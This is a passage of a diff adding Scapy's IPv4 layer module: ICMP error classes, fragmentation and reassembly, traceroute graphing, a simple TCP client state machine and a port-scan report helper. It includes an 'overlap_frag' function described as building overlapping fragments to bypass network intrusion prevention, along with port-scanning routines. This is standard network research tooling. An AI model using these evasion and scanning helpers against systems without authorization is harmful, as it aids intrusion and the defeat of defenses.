+                    ConditionalField(ByteField("reserved",0), lambda pkt:pkt.type in [3,11]),
+                    ConditionalField(ByteField("length",0), lambda pkt:pkt.type in [3,11,12]),
+                    ConditionalField(IPField("addr_mask","0.0.0.0"), lambda pkt:pkt.type in [17,18]),
+                    ConditionalField(ShortField("nexthopmtu",0), lambda pkt:pkt.type==3),
+                    ConditionalField(ShortField("unused",0), lambda pkt:pkt.type in [11,12]),
+                    ConditionalField(IntField("unused",0), lambda pkt:pkt.type not in [0,3,5,8,11,12,13,14,15,16,17,18])
+                    ]
+    def post_build(self, p, pay):
+        p += pay
+        if self.chksum is None:
+            ck = checksum(p)
+            p = p[:2] + chb(ck>>8) + chb(ck&0xff) + p[4:]
+        return p
+    
+    def hashret(self):
+        if self.type in [0,8,13,14,15,16,17,18]:
+            return struct.pack("HH",self.id,self.seq)+self.payload.hashret()
+        return self.payload.hashret()
+    def answers(self, other):
+        if not isinstance(other,ICMP):
+            return 0
+        if ( (other.type,self.type) in [(8,0),(13,14),(15,16),(17,18)] and
+             self.id == other.id and
+             self.seq == other.seq ):
+            return 1
+        return 0
+
+    def guess_payload_class(self, payload):
+        if self.type in [3,4,5,11,12]:
+            return IPerror
+        else:
+            return None
+    def mysummary(self):
+        if isinstance(self.underlayer, IP):
+            return self.underlayer.sprintf("ICMP %IP.src% > %IP.dst% %ICMP.type% %ICMP.code%")
+        else:
+            return self.sprintf("ICMP %ICMP.type% %ICMP.code%")
+    
+        
+
+
+
+class IPerror(IP):
+    name = "IP in ICMP"
+    def answers(self, other):
+        if not isinstance(other, IP):
+            return 0
+        if not ( ((conf.checkIPsrc == 0) or (self.dst == other.dst)) and
+                 (self.src == other.src) and
+                 ( ((conf.checkIPID == 0)
+                    or (self.id == other.id)
+                    or (conf.checkIPID == 1 and self.id == socket.htons(other.id)))) and
+                 (self.proto == other.proto) ):
+            return 0
+        return self.payload.answers(other.payload)
+    def mysummary(self):
+        return Packet.mysummary(self)
+
+
+class TCPerror(TCP):
+    name = "TCP in ICMP"
+    def answers(self, other):
+        if not isinstance(other, TCP):
+            return 0
+        if conf.checkIPsrc:
+            if not ((self.sport == other.sport) and
+                    (self.dport == other.dport)):
+                return 0
+        if conf.check_TCPerror_seqack:
+            if self.seq is not None:
+                if self.seq != other.seq:
+                    return 0
+            if self.ack is not None:
+                if self.ack != other.ack:
+                    return 0
+        return 1
+    def mysummary(self):
+        return Packet.mysummary(self)
+
+
+class UDPerror(UDP):
+    name = "UDP in ICMP"
+    def answers(self, other):
+        if not isinstance(other, UDP):
+            return 0
+        if conf.checkIPsrc:
+            if not ((self.sport == other.sport) and
+                    (self.dport == other.dport)):
+                return 0
+        return 1
+    def mysummary(self):
+        return Packet.mysummary(self)
+
+                    
+
+class ICMPerror(ICMP):
+    name = "ICMP in ICMP"
+    def answers(self, other):
+        if not isinstance(other,ICMP):
+            return 0
+        if not ((self.type == other.type) and
+                (self.code == other.code)):
+            return 0
+        if self.code in [0,8,13,14,17,18]:
+            if (self.id == other.id and
+                self.seq == other.seq):
+                return 1
+            else:
+                return 0
+        else:
+            return 1
+    def mysummary(self):
+        return Packet.mysummary(self)
+
+bind_layers( Ether,         IP,            type=2048)
+bind_layers( CookedLinux,   IP,            proto=2048)
+bind_layers( GRE,           IP,            proto=2048)
+bind_layers( SNAP,          IP,            code=2048)
+bind_layers( Loopback,      IP,            type=0)
+bind_layers( Loopback,      IP,            type=2)
+bind_layers( IPerror,       IPerror,       frag=0, proto=4)
+bind_layers( IPerror,       ICMPerror,     frag=0, proto=1)
+bind_layers( IPerror,       TCPerror,      frag=0, proto=6)
+bind_layers( IPerror,       UDPerror,      frag=0, proto=17)
+bind_layers( IP,            IP,            frag=0, proto=4)
+bind_layers( IP,            ICMP,          frag=0, proto=1)
+bind_layers( IP,            TCP,           frag=0, proto=6)
+bind_layers( IP,            UDP,           frag=0, proto=17)
+bind_layers( IP,            GRE,           frag=0, proto=47)
+
+conf.l2types.register(DLT_RAW, IP)
+conf.l2types.register_num2layer(DLT_RAW_ALT, IP)
+conf.l2types.register(DLT_IPV4, IP)
+
+conf.l3types.register(ETH_P_IP, IP)
+conf.l3types.register_num2layer(ETH_P_ALL, IP)
+
+
+def inet_register_l3(l2, l3):
+    return getmacbyip(l3.dst)
+conf.neighbor.register_l3(Ether, IP, inet_register_l3)
+conf.neighbor.register_l3(Dot3, IP, inet_register_l3)
+
+
+###################
+## Fragmentation ##
+###################
+
+@conf.commands.register
+def fragment(pkt, fragsize=1480):
+    """Fragment a big IP datagram"""
+    fragsize = (fragsize+7)//8*8
+    lst = []
+    for p in pkt:
+        s = raw(p[IP].payload)
+        nb = (len(s)+fragsize-1)//fragsize
+        for i in range(nb):            
+            q = p.copy()
+            del(q[IP].payload)
+            del(q[IP].chksum)
+            del(q[IP].len)
+            if i != nb - 1:
+                q[IP].flags |= 1
+            q[IP].frag += i * fragsize // 8
+            r = conf.raw_layer(load=s[i*fragsize:(i+1)*fragsize])
+            r.overload_fields = p[IP].payload.overload_fields.copy()
+            q.add_payload(r)
+            lst.append(q)
+    return lst
+
+@conf.commands.register
+def overlap_frag(p, overlap, fragsize=8, overlap_fragsize=None):
+    """Build overlapping fragments to bypass NIPS
+
+p:                the original packet
+overlap:          the overlapping data
+fragsize:         the fragment size of the packet
+overlap_fragsize: the fragment size of the overlapping packet"""
+
+    if overlap_fragsize is None:
+        overlap_fragsize = fragsize
+    q = p.copy()
+    del(q[IP].payload)
+    q[IP].add_payload(overlap)
+
+    qfrag = fragment(q, overlap_fragsize)
+    qfrag[-1][IP].flags |= 1
+    return qfrag+fragment(p, fragsize)
+
+@conf.commands.register
+def defrag(plist):
+    """defrag(plist) -> ([not fragmented], [defragmented],
+                  [ [bad fragments], [bad fragments], ... ])"""
+    frags = defaultdict(PacketList)
+    nofrag = PacketList()
+    for p in plist:
+        if IP not in p:
+            nofrag.append(p)
+            continue
+        ip = p[IP]
+        if ip.frag == 0 and ip.flags & 1 == 0:
+            nofrag.append(p)
+            continue
+        uniq = (ip.id,ip.src,ip.dst,ip.proto)
+        frags[uniq].append(p)
+    defrag = []
+    missfrag = []
+    for lst in six.itervalues(frags):
+        lst.sort(key=lambda x: x.frag)
+        p = lst[0]
+        lastp = lst[-1]
+        if p.frag > 0 or lastp.flags & 1 != 0: # first or last fragment missing
+            missfrag.append(lst)
+            continue
+        p = p.copy()
+        if conf.padding_layer in p:
+            del(p[conf.padding_layer].underlayer.payload)
+        ip = p[IP]
+        if ip.len is None or ip.ihl is None:
+            clen = len(ip.payload)
+        else:
+            clen = ip.len - (ip.ihl<<2)
+        txt = conf.raw_layer()
+        for q in lst[1:]:
+            if clen != q.frag<<3: # Wrong fragmentation offset
+                if clen > q.frag<<3:
+                    warning("Fragment overlap (%i > %i) %r || %r ||  %r" % (clen, q.frag<<3, p,txt,q))
+                missfrag.append(lst)
+                break
+            if q[IP].len is None or q[IP].ihl is None:
+                clen += len(q[IP].payload)
+            else:
+                clen += q[IP].len - (q[IP].ihl<<2)
+            if conf.padding_layer in q:
+                del(q[conf.padding_layer].underlayer.payload)
+            txt.add_payload(q[IP].payload.copy())
+        else:
+            ip.flags &= ~1 # !MF
+            del(ip.chksum)
+            del(ip.len)
+            p = p/txt
+            defrag.append(p)
+    defrag2=PacketList()
+    for p in defrag:
+        defrag2.append(p.__class__(raw(p)))
+    return nofrag,defrag2,missfrag
+            
+@conf.commands.register
+def defragment(plist):
+    """defrag(plist) -> plist defragmented as much as possible """
+    frags = defaultdict(lambda:[])
+    final = []
+
+    pos = 0
+    for p in plist:
+        p._defrag_pos = pos
+        pos += 1
+        if IP in p:
+            ip = p[IP]
+            if ip.frag != 0 or ip.flags & 1:
+                ip = p[IP]
+                uniq = (ip.id,ip.src,ip.dst,ip.proto)
+                frags[uniq].append(p)
+                continue
+        final.append(p)
+
+    defrag = []
+    missfrag = []
+    for lst in six.itervalues(frags):
+        lst.sort(key=lambda x: x.frag)
+        p = lst[0]
+        lastp = lst[-1]
+        if p.frag > 0 or lastp.flags & 1 != 0: # first or last fragment missing
+            missfrag += lst
+            continue
+        p = p.copy()
+        if conf.padding_layer in p:
+            del(p[conf.padding_layer].underlayer.payload)
+        ip = p[IP]
+        if ip.len is None or ip.ihl is None:
+            clen = len(ip.payload)
+        else:
+            clen = ip.len - (ip.ihl<<2)
+        txt = conf.raw_layer()
+        for q in lst[1:]:
+            if clen != q.frag<<3: # Wrong fragmentation offset
+                if clen > q.frag<<3:
+                    warning("Fragment overlap (%i > %i) %r || %r ||  %r" % (clen, q.frag<<3, p,txt,q))
+                missfrag += lst
+                break
+            if q[IP].len is None or q[IP].ihl is None:
+                clen += len(q[IP].payload)
+            else:
+                clen += q[IP].len - (q[IP].ihl<<2)
+            if conf.padding_layer in q:
+                del(q[conf.padding_layer].underlayer.payload)
+            txt.add_payload(q[IP].payload.copy())
+        else:
+            ip.flags &= ~1 # !MF
+            del(ip.chksum)
+            del(ip.len)
+            p = p/txt
+            p._defrag_pos = max(x._defrag_pos for x in lst)
+            defrag.append(p)
+    defrag2=[]
+    for p in defrag:
+        q = p.__class__(raw(p))
+        q._defrag_pos = p._defrag_pos
+        defrag2.append(q)
+    final += defrag2
+    final += missfrag
+    final.sort(key=lambda x: x._defrag_pos)
+    for p in final:
+        del(p._defrag_pos)
+
+    if hasattr(plist, "listname"):
+        name = "Defragmented %s" % plist.listname
+    else:
+        name = "Defragmented"
+    
+    return PacketList(final, name=name)
+            
+        
+
+### Add timeskew_graph() method to PacketList
+def _packetlist_timeskew_graph(self, ip, **kargs):
+    """Tries to graph the timeskew between the timestamps and real time for a given ip"""
+
+    # Filter TCP segments which source address is 'ip'
+    tmp = (self._elt2pkt(x) for x in self.res)
+    b = (x for x in tmp if IP in x and x[IP].src == ip and TCP in x)
+
+    # Build a list of tuples (creation_time, replied_timestamp)
+    c = []
+    tsf = ICMPTimeStampField("", None)
+    for p in b:
+        opts = p.getlayer(TCP).options
+        for o in opts:
+            if o[0] == "Timestamp":
+                c.append((p.time, tsf.any2i("", o[1][0])))
+
+    # Stop if the list is empty
+    if not c:
+        warning("No timestamps found in packet list")
+        return []
+
+    # Prepare the data that will be plotted
+    first_creation_time = c[0][0]
+    first_replied_timestamp = c[0][1]
+
+    def _wrap_data(ts_tuple, wrap_seconds=2000):
+        """Wrap the list of tuples."""
+
+        ct,rt = ts_tuple # (creation_time, replied_timestamp)
+        X = ct % wrap_seconds
+        Y = ((ct-first_creation_time) - ((rt-first_replied_timestamp)/1000.0))
+
+        return X, Y
+
+    data = [_wrap_data(e) for e in c]
+
+    # Mimic the default gnuplot output
+    if kargs == {}:
+        kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS
+    lines = plt.plot(data, **kargs)
+
+    # Call show() if matplotlib is not inlined
+    if not MATPLOTLIB_INLINED:
+        plt.show()
+
+    return lines
+
+PacketList.timeskew_graph = _packetlist_timeskew_graph
+
+
+### Create a new packet list
+class TracerouteResult(SndRcvList):
+    __slots__ = ["graphdef", "graphpadding", "graphASres", "padding", "hloc",
+                 "nloc"]
+    def __init__(self, res=None, name="Traceroute", stats=None):
+        PacketList.__init__(self, res, name, stats)
+        self.graphdef = None
+        self.graphASres = 0
+        self.padding = 0
+        self.hloc = None
+        self.nloc = None
+
+    def show(self):
+        return self.make_table(lambda s_r: (s_r[0].sprintf("%IP.dst%:{TCP:tcp%ir,TCP.dport%}{UDP:udp%ir,UDP.dport%}{ICMP:ICMP}"),
+                                            s_r[0].ttl,
+                                            s_r[1].sprintf("%-15s,IP.src% {TCP:%TCP.flags%}{ICMP:%ir,ICMP.type%}")))
+
+
+    def get_trace(self):
+        trace = {}
+        for s,r in self.res:
+            if IP not in s:
+                continue
+            d = s[IP].dst
+            if d not in trace:
+                trace[d] = {}
+            trace[d][s[IP].ttl] = r[IP].src, ICMP not in r
+        for k in six.itervalues(trace):
+            try:
+                m = min(x for x, y in six.itervalues(k) if y)
+            except ValueError:
+                continue
+            for l in list(k):  # use list(): k is modified in the loop
+                if l > m:
+                    del k[l]
+        return trace
+
+    def trace3D(self):
+        """Give a 3D representation of the traceroute.
+        right button: rotate the scene
+        middle button: zoom
+        left button: move the scene
+        left button on a ball: toggle IP displaying
+        ctrl-left button on a ball: scan ports 21,22,23,25,80 and 443 and display the result"""
+        trace = self.get_trace()
+        import visual
+
+        class IPsphere(visual.sphere):
+            def __init__(self, ip, **kargs):
+                visual.sphere.__init__(self, **kargs)
+                self.ip=ip
+                self.label=None
+                self.setlabel(self.ip)
+            def setlabel(self, txt,visible=None):
+                if self.label is not None:
+                    if visible is None:
+                        visible = self.label.visible
+                    self.label.visible = 0
+                elif visible is None:
+                    visible=0
+                self.label=visual.label(text=txt, pos=self.pos, space=self.radius, xoffset=10, yoffset=20, visible=visible)
+            def action(self):
+                self.label.visible ^= 1
+
+        visual.scene = visual.display()
+        visual.scene.exit = True
+        start = visual.box()
+        rings={}
+        tr3d = {}
+        for i in trace:
+            tr = trace[i]
+            tr3d[i] = []
+            for t in range(1, max(tr) + 1):
+                if t not in rings:
+                    rings[t] = []
+                if t in tr:
+                    if tr[t] not in rings[t]:
+                        rings[t].append(tr[t])
+                    tr3d[i].append(rings[t].index(tr[t]))
+                else:
+                    rings[t].append(("unk",-1))
+                    tr3d[i].append(len(rings[t])-1)
+        for t in rings:
+            r = rings[t]
+            l = len(r)
+            for i in range(l):
+                if r[i][1] == -1:
+                    col = (0.75,0.75,0.75)
+                elif r[i][1]:
+                    col = visual.color.green
+                else:
+                    col = visual.color.blue
+                
+                s = IPsphere(pos=((l-1)*visual.cos(2*i*visual.pi/l),(l-1)*visual.sin(2*i*visual.pi/l),2*t),
+                             ip = r[i][0],
+                             color = col)
+                for trlst in six.itervalues(tr3d):
+                    if t <= len(trlst):
+                        if trlst[t-1] == i:
+                            trlst[t-1] = s
+        forecol = colgen(0.625, 0.4375, 0.25, 0.125)
+        for trlst in six.itervalues(tr3d):
+            col = next(forecol)
+            start = (0,0,0)
+            for ip in trlst:
+                visual.cylinder(pos=start,axis=ip.pos-start,color=col,radius=0.2)
+                start = ip.pos
+        
+        movcenter=None
+        while True:
+            visual.rate(50)
+            if visual.scene.kb.keys:
+                k = visual.scene.kb.getkey()
+                if k == "esc" or k == "q":
+                    break
+            if visual.scene.mouse.events:
+                ev = visual.scene.mouse.getevent()
+                if ev.press == "left":
+                    o = ev.pick
+                    if o:
+                        if ev.ctrl:
+                            if o.ip == "unk":
+                                continue
+                            savcolor = o.color
+                            o.color = (1,0,0)
+                            a,b=sr(IP(dst=o.ip)/TCP(dport=[21,22,23,25,80,443]),timeout=2)
+                            o.color = savcolor
+                            if len(a) == 0:
+                                txt = "%s:\nno results" % o.ip
+                            else:
+                                txt = "%s:\n" % o.ip
+                                for s,r in a:
+                                    txt += r.sprintf("{TCP:%IP.src%:%TCP.sport% %TCP.flags%}{TCPerror:%IPerror.dst%:%TCPerror.dport% %IP.src% %ir,ICMP.type%}\n")
+                            o.setlabel(txt, visible=1)
+                        else:
+                            if hasattr(o, "action"):
+                                o.action()
+                elif ev.drag == "left":
+                    movcenter = ev.pos
+                elif ev.drop == "left":
+                    movcenter = None
+            if movcenter:
+                visual.scene.center -= visual.scene.mouse.pos-movcenter
+                movcenter = visual.scene.mouse.pos
+                
+                
+    def world_trace(self, **kargs):
+        """Display traceroute results on a world map."""
+
+        # Check that the GeoIP module can be imported
+        try:
+            import GeoIP
+        except ImportError:
+            message = "Can't import GeoIP. Won't be able to plot the world."
+            scapy.utils.log_loading.info(message)
+            return list()
+
+        # Check if this is an IPv6 traceroute and load the correct file
+        if isinstance(self, scapy.layers.inet6.TracerouteResult6):
+            geoip_city_filename = conf.geoip_city_ipv6
+        else:
+            geoip_city_filename = conf.geoip_city
+
+        # Check that the GeoIP database can be opened
+        try:
+            db = GeoIP.open(conf.geoip_city, 0)
+        except:
+            message = "Can't open GeoIP database at %s" % conf.geoip_city
+            scapy.utils.log_loading.info(message)
+            return list()
+
+        # Regroup results per trace
+        ips = {}
+        rt = {}
+        ports_done = {}
+        for s,r in self.res:
+            ips[r.src] = None
+            if s.haslayer(TCP) or s.haslayer(UDP):
+                trace_id = (s.src,s.dst,s.proto,s.dport)
+            elif s.haslayer(ICMP):
+                trace_id = (s.src,s.dst,s.proto,s.type)
+            else:
+                trace_id = (s.src,s.dst,s.proto,0)
+            trace = rt.get(trace_id,{})
+            if not r.haslayer(ICMP) or r.type != 11:
+                if trace_id in ports_done:
+                    continue
+                ports_done[trace_id] = None
+            trace[s.ttl] = r.src
+            rt[trace_id] = trace
+
+        # Get the addresses locations
+        trt = {}
+        for trace_id in rt:
+            trace = rt[trace_id]
+            loctrace = []
+            for i in range(max(trace)):
+                ip = trace.get(i,None)
+                if ip is None:
+                    continue
+                loc = db.record_by_addr(ip)
+                if loc is None:
+                    continue
+                loc = loc.get('longitude'), loc.get('latitude')
+                if loc == (None, None):
+                    continue
+                loctrace.append(loc)
+            if loctrace:
+                trt[trace_id] = loctrace
+
+        # Load the map renderer
+        from mpl_toolkits.basemap import Basemap
+        bmap = Basemap()
+
+        # Split latitudes and longitudes per traceroute measurement
+        locations = [zip(*tr) for tr in six.itervalues(trt)]
+
+        # Plot the traceroute measurement as lines in the map
+        lines = [bmap.plot(*bmap(lons, lats)) for lons, lats in locations]
+
+        # Draw countries   
+        bmap.drawcoastlines()
+
+        # Call show() if matplotlib is not inlined
+        if not MATPLOTLIB_INLINED:
+            plt.show()
+
+        # Return the drawn lines
+        return lines
+
+    def make_graph(self,ASres=None,padding=0):
+        if ASres is None:
+            ASres = conf.AS_resolver
+        self.graphASres = ASres
+        self.graphpadding = padding
+        ips = {}
+        rt = {}
+        ports = {}
+        ports_done = {}
+        for s,r in self.res:
+            r = r.getlayer(IP) or (conf.ipv6_enabled and r[scapy.layers.inet6.IPv6]) or r
+            s = s.getlayer(IP) or (conf.ipv6_enabled and s[scapy.layers.inet6.IPv6]) or s
+            ips[r.src] = None
+            if TCP in s:
+                trace_id = (s.src,s.dst,6,s.dport)
+            elif UDP in s:
+                trace_id = (s.src,s.dst,17,s.dport)
+            elif ICMP in s:
+                trace_id = (s.src,s.dst,1,s.type)
+            else:
+                trace_id = (s.src,s.dst,s.proto,0)
+            trace = rt.get(trace_id,{})
+            ttl = conf.ipv6_enabled and scapy.layers.inet6.IPv6 in s and s.hlim or s.ttl
+            if not (ICMP in r and r[ICMP].type == 11) and not (conf.ipv6_enabled and scapy.layers.inet6.IPv6 in r and scapy.layers.inet6.ICMPv6TimeExceeded in r):
+                if trace_id in ports_done:
+                    continue
+                ports_done[trace_id] = None
+                p = ports.get(r.src,[])
+                if TCP in r:
+                    p.append(r.sprintf("<T%ir,TCP.sport%> %TCP.sport% %TCP.flags%"))
+                    trace[ttl] = r.sprintf('"%r,src%":T%ir,TCP.sport%')
+                elif UDP in r:
+                    p.append(r.sprintf("<U%ir,UDP.sport%> %UDP.sport%"))
+                    trace[ttl] = r.sprintf('"%r,src%":U%ir,UDP.sport%')
+                elif ICMP in r:
+                    p.append(r.sprintf("<I%ir,ICMP.type%> ICMP %ICMP.type%"))
+                    trace[ttl] = r.sprintf('"%r,src%":I%ir,ICMP.type%')
+                else:
+                    p.append(r.sprintf("{IP:<P%ir,proto%> IP %proto%}{IPv6:<P%ir,nh%> IPv6 %nh%}"))
+                    trace[ttl] = r.sprintf('"%r,src%":{IP:P%ir,proto%}{IPv6:P%ir,nh%}')
+                ports[r.src] = p
+            else:
+                trace[ttl] = r.sprintf('"%r,src%"')
+            rt[trace_id] = trace
+    
+        # Fill holes with unk%i nodes
+        unknown_label = incremental_label("unk%i")
+        blackholes = []
+        bhip = {}
+        for rtk in rt:
+            trace = rt[rtk]
+            max_trace = max(trace)
+            for n in range(min(trace), max_trace):
+                if n not in trace:
+                    trace[n] = next(unknown_label)
+            if rtk not in ports_done:
+                if rtk[2] == 1: #ICMP
+                    bh = "%s %i/icmp" % (rtk[1],rtk[3])
+                elif rtk[2] == 6: #TCP
+                    bh = "%s %i/tcp" % (rtk[1],rtk[3])
+                elif rtk[2] == 17: #UDP                    
+                    bh = '%s %i/udp' % (rtk[1],rtk[3])
+                else:
+                    bh = '%s %i/proto' % (rtk[1],rtk[2]) 
+                ips[bh] = None
+                bhip[rtk[1]] = bh
+                bh = '"%s"' % bh
+                trace[max_trace + 1] = bh
+                blackholes.append(bh)
+    
+        # Find AS numbers
+        ASN_query_list = set(x.rsplit(" ",1)[0] for x in ips)
+        if ASres is None:            
+            ASNlist = []
+        else:
+            ASNlist = ASres.resolve(*ASN_query_list)            
+    
+        ASNs = {}
+        ASDs = {}
+        for ip,asn,desc, in ASNlist:
+            if asn is None:
+                continue
+            iplist = ASNs.get(asn,[])
+            if ip in bhip:
+                if ip in ports:
+                    iplist.append(ip)
+                iplist.append(bhip[ip])
+            else:
+                iplist.append(ip)
+            ASNs[asn] = iplist
+            ASDs[asn] = desc
+    
+    
+        backcolorlist=colgen("60","86","ba","ff")
+        forecolorlist=colgen("a0","70","40","20")
+    
+        s = "digraph trace {\n"
+    
+        s += "\n\tnode [shape=ellipse,color=black,style=solid];\n\n"
+    
+        s += "\n#ASN clustering\n"
+        for asn in ASNs:
+            s += '\tsubgraph cluster_%s {\n' % asn
+            col = next(backcolorlist)
+            s += '\t\tcolor="#%s%s%s";' % col
+            s += '\t\tnode [fillcolor="#%s%s%s",style=filled];' % col
+            s += '\t\tfontsize = 10;'
+            s += '\t\tlabel = "%s\\n[%s]"\n' % (asn,ASDs[asn])
+            for ip in ASNs[asn]:
+    
+                s += '\t\t"%s";\n'%ip
+            s += "\t}\n"
+    
+    
+    
+    
+        s += "#endpoints\n"
+        for p in ports:
+            s += '\t"%s" [shape=record,color=black,fillcolor=green,style=filled,label="%s|%s"];\n' % (p,p,"|".join(ports[p]))
+    
+        s += "\n#Blackholes\n"
+        for bh in blackholes:
+            s += '\t%s [shape=octagon,color=black,fillcolor=red,style=filled];\n' % bh
+
+        if padding:
+            s += "\n#Padding\n"
+            pad={}
+            for snd,rcv in self.res:
+                if rcv.src not in ports and rcv.haslayer(conf.padding_layer):
+                    p = rcv.getlayer(conf.padding_layer).load
+                    if p != b"\x00"*len(p):
+                        pad[rcv.src]=None
+            for rcv in pad:
+                s += '\t"%s" [shape=triangle,color=black,fillcolor=red,style=filled];\n' % rcv
+    
+    
+            
+        s += "\n\tnode [shape=ellipse,color=black,style=solid];\n\n"
+    
+    
+        for rtk in rt:
+            s += "#---[%s\n" % repr(rtk)
+            s += '\t\tedge [color="#%s%s%s"];\n' % next(forecolorlist)
+            trace = rt[rtk]
+            maxtrace = max(trace)
+            for n in range(min(trace), maxtrace):
+                s += '\t%s ->\n' % trace[n]
+            s += '\t%s;\n' % trace[maxtrace]
+    
+        s += "}\n";
+        self.graphdef = s
+    
+    def graph(self, ASres=None, padding=0, **kargs):
+        """x.graph(ASres=conf.AS_resolver, other args):
+        ASres=None          : no AS resolver => no clustering
+        ASres=AS_resolver() : default whois AS resolver (riswhois.ripe.net)
+        ASres=AS_resolver_cymru(): use whois.cymru.com whois database
+        ASres=AS_resolver(server="whois.ra.net")
+        type: output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" option
+        target: filename or redirect. Defaults pipe to Imagemagick's display program
+        prog: which graphviz program to use"""
+        if ASres is None:
+            ASres = conf.AS_resolver
+        if (self.graphdef is None or
+            self.graphASres != ASres or
+            self.graphpadding != padding):
+            self.make_graph(ASres,padding)
+
+        return do_graph(self.graphdef, **kargs)
+
+
+
+@conf.commands.register
+def traceroute(target, dport=80, minttl=1, maxttl=30, sport=RandShort(), l4 = None, filter=None, timeout=2, verbose=None, **kargs):
+    """Instant TCP traceroute
+traceroute(target, [maxttl=30,] [dport=80,] [sport=80,] [verbose=conf.verb]) -> None
+"""
+    if verbose is None:
+        verbose = conf.verb
+    if filter is None:
+        # we only consider ICMP error packets and TCP packets with at
+        # least the ACK flag set *and* either the SYN or the RST flag
+        # set
+        filter="(icmp and (icmp[0]=3 or icmp[0]=4 or icmp[0]=5 or icmp[0]=11 or icmp[0]=12)) or (tcp and (tcp[13] & 0x16 > 0x10))"
+    if l4 is None:
+        a,b = sr(IP(dst=target, id=RandShort(), ttl=(minttl,maxttl))/TCP(seq=RandInt(),sport=sport, dport=dport),
+                 timeout=timeout, filter=filter, verbose=verbose, **kargs)
+    else:
+        # this should always work
+        filter="ip"
+        a,b = sr(IP(dst=target, id=RandShort(), ttl=(minttl,maxttl))/l4,
+                 timeout=timeout, filter=filter, verbose=verbose, **kargs)
+
+    a = TracerouteResult(a.res)
+    if verbose:
+        a.show()
+    return a,b
+
+
+
+#############################
+## Simple TCP client stack ##
+#############################
+
+class TCP_client(Automaton):
+    
+    def parse_args(self, ip, port, *args, **kargs):
+        self.dst = str(Net(ip))
+        self.dport = port
+        self.sport = random.randrange(0,2**16)
+        self.l4 = IP(dst=ip)/TCP(sport=self.sport, dport=self.dport, flags=0,
+                                 seq=random.randrange(0,2**32))
+        self.src = self.l4.src
+        self.swin=self.l4[TCP].window
+        self.dwin=1
+        self.rcvbuf = b""
+        bpf = "host %s  and host %s and port %i and port %i" % (self.src,
+                                                                self.dst,
+                                                                self.sport,
+                                                                self.dport)
+
+#        bpf=None
+        Automaton.parse_args(self, filter=bpf, **kargs)
+
+    
+    def master_filter(self, pkt):
+        return (IP in pkt and
+                pkt[IP].src == self.dst and
+                pkt[IP].dst == self.src and
+                TCP in pkt and
+                pkt[TCP].sport == self.dport and
+                pkt[TCP].dport == self.sport and
+                self.l4[TCP].seq >= pkt[TCP].ack and # XXX: seq/ack 2^32 wrap up
+                ((self.l4[TCP].ack == 0) or (self.l4[TCP].ack <= pkt[TCP].seq <= self.l4[TCP].ack+self.swin)) )
+
+
+    @ATMT.state(initial=1)
+    def START(self):
+        pass
+
+    @ATMT.state()
+    def SYN_SENT(self):
+        pass
+    
+    @ATMT.state()
+    def ESTABLISHED(self):
+        pass
+
+    @ATMT.state()
+    def LAST_ACK(self):
+        pass
+
+    @ATMT.state(final=1)
+    def CLOSED(self):
+        pass
+
+    
+    @ATMT.condition(START)
+    def connect(self):
+        raise self.SYN_SENT()
+    @ATMT.action(connect)
+    def send_syn(self):
+        self.l4[TCP].flags = "S"
+        self.send(self.l4)
+        self.l4[TCP].seq += 1
+
+
+    @ATMT.receive_condition(SYN_SENT)
+    def synack_received(self, pkt):
+        if pkt[TCP].flags & 0x3f == 0x12:
+            raise self.ESTABLISHED().action_parameters(pkt)
+    @ATMT.action(synack_received)
+    def send_ack_of_synack(self, pkt):
+        self.l4[TCP].ack = pkt[TCP].seq+1
+        self.l4[TCP].flags = "A"
+        self.send(self.l4)
+
+    @ATMT.receive_condition(ESTABLISHED)
+    def incoming_data_received(self, pkt):
+        if not isinstance(pkt[TCP].payload, NoPayload) and not isinstance(pkt[TCP].payload, conf.padding_layer):
+            raise self.ESTABLISHED().action_parameters(pkt)
+    @ATMT.action(incoming_data_received)
+    def receive_data(self,pkt):
+        data = raw(pkt[TCP].payload)
+        if data and self.l4[TCP].ack == pkt[TCP].seq:
+            self.l4[TCP].ack += len(data)
+            self.l4[TCP].flags = "A"
+            self.send(self.l4)
+            self.rcvbuf += data
+            if pkt[TCP].flags.P:
+                self.oi.tcp.send(self.rcvbuf)
+                self.rcvbuf = b""
+    
+    @ATMT.ioevent(ESTABLISHED,name="tcp", as_supersocket="tcplink")
+    def outgoing_data_received(self, fd):
+        raise self.ESTABLISHED().action_parameters(fd.recv())
+    @ATMT.action(outgoing_data_received)
+    def send_data(self, d):
+        self.l4[TCP].flags = "PA"
+        self.send(self.l4/d)
+        self.l4[TCP].seq += len(d)
+        
+    
+    @ATMT.receive_condition(ESTABLISHED)
+    def reset_received(self, pkt):
+        if pkt[TCP].flags & 4 != 0:
+            raise self.CLOSED()
+
+    @ATMT.receive_condition(ESTABLISHED)
+    def fin_received(self, pkt):
+        if pkt[TCP].flags & 0x1 == 1:
+            raise self.LAST_ACK().action_parameters(pkt)
+    @ATMT.action(fin_received)
+    def send_finack(self, pkt):
+        self.l4[TCP].flags = "FA"
+        self.l4[TCP].ack = pkt[TCP].seq+1
+        self.send(self.l4)
+        self.l4[TCP].seq += 1
+
+    @ATMT.receive_condition(LAST_ACK)
+    def ack_of_fin_received(self, pkt):
+        if pkt[TCP].flags & 0x3f == 0x10:
+            raise self.CLOSED()
+
+
+
+
+#####################
+## Reporting stuff ##
+#####################
+
+
+@conf.commands.register
+def report_ports(target, ports):
+    """portscan a target and output a LaTeX table
+report_ports(target, ports) -> string"""
+    ans,unans = sr(IP(dst=target)/TCP(dport=ports),timeout=5)
+    rep = "\\begin{tabular}{|r|l|l|}\n\\hline\n"
+    for s,r in ans:
+        if not r.haslayer(ICMP):
+            if r.payload.flags == 0x12:
+                rep += r.sprintf("%TCP.sport% & open & SA \\\\\n")
+    rep += "\\hline\n"
+    for s,r in ans:
+        if r.haslayer(ICMP):
+            rep += r.sprintf("%TCPerror.dport% & closed & ICMP type %ICMP.type%/%ICMP.code% from %IP.src% \\\\\n")
+        elif r.payload.flags != 0x12:
+            rep += r.sprintf("%TCP.sport% & closed & TCP %TCP.flags% \\\\\n")
+    rep += "\\hline\n"
+    for i in unans:
+        rep += i.sprintf("%TCP.dport% & ? & unanswered \\\\\n")
+    rep += "\\hline\n\\end{tabular}\n"
+    return rep
+
+
+@conf.commands.register
+def IPID_count(lst, funcID=lambda x:x[1].id, funcpres=lambda x:x[1].summary()):
+    """Identify IP id values classes in a list of packets
+
+lst:      a list of packets
+funcID:   a function that returns IP id values
+funcpres: a function used to summarize packets"""
+    idlst = [funcID(e) for e in lst]
+    idlst.sort()
+    classes = [idlst[0]]
